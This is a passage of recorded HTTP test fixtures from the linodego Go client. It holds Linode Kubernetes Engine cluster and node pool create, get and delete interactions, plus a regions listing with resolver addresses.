{} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 252660, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-def", "region": "ap-west", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "241" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:52:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":2,"type":"g6-standard-2","disks":[{"size":1000,"type":"ext4"}],"tags":["testing"],"labels":null,"taints":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252660/pools method: POST response: body: '{"id": 403754, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "403754-2321ee380000", "instance_id": null, "status": "not_ready"}, {"id": "403754-544dbc3b0000", "instance_id": 65936295, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "labels": {}, "taints": [], "tags": ["testing"], "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "392" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:52:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252660/nodes/403754-2321ee380000 method: GET response: body: '{"id": "403754-2321ee380000", "instance_id": 65936296, "status": "not_ready"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "77" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:52:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252660/pools/403754 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:52:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252660 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:52:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKENodePoolNode_Recycle.yaml000066400000000000000000001021511474652371000326370ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: 